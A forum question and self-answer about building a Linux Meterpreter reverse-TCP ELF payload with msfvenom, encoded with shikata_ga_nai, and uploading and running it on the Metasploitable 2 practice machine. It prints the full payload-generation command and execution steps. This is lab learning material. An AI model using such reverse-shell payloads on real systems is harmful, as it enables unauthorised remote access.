How to use msfvenom elf approach for metasploitable 2?

I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to skip this section without understanding this. So I got 2 other books but they both also only teach Windows approach to this, searched the net and it seems I only found Windows exe ways. So I just started doing it myself. I did the following.

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -e x86/shikata_ga_nai -f elf -o test.elf

Then I gained a shell and did

Upload test.elf test.elf 

Then I ran bash test.elf on the machine and it did nothing

I ran file test.elf and I got:

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size

What am I doing wrong?

1 Answer 1


After several retries to slightly adjust the payload. To no avail. I reinstalled Metasploitable 2.

I Remade the payload again as originally intended.

I ran sudo ./test.elf on the metasploitable machine and it worked.

I had ran sudo ./test.elf before and it gave me command not found on the other install.

It seems to work now. After making several payloads they all work now. I assume it was a bad installation or I somehow messed up the other Metasploitable 2.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .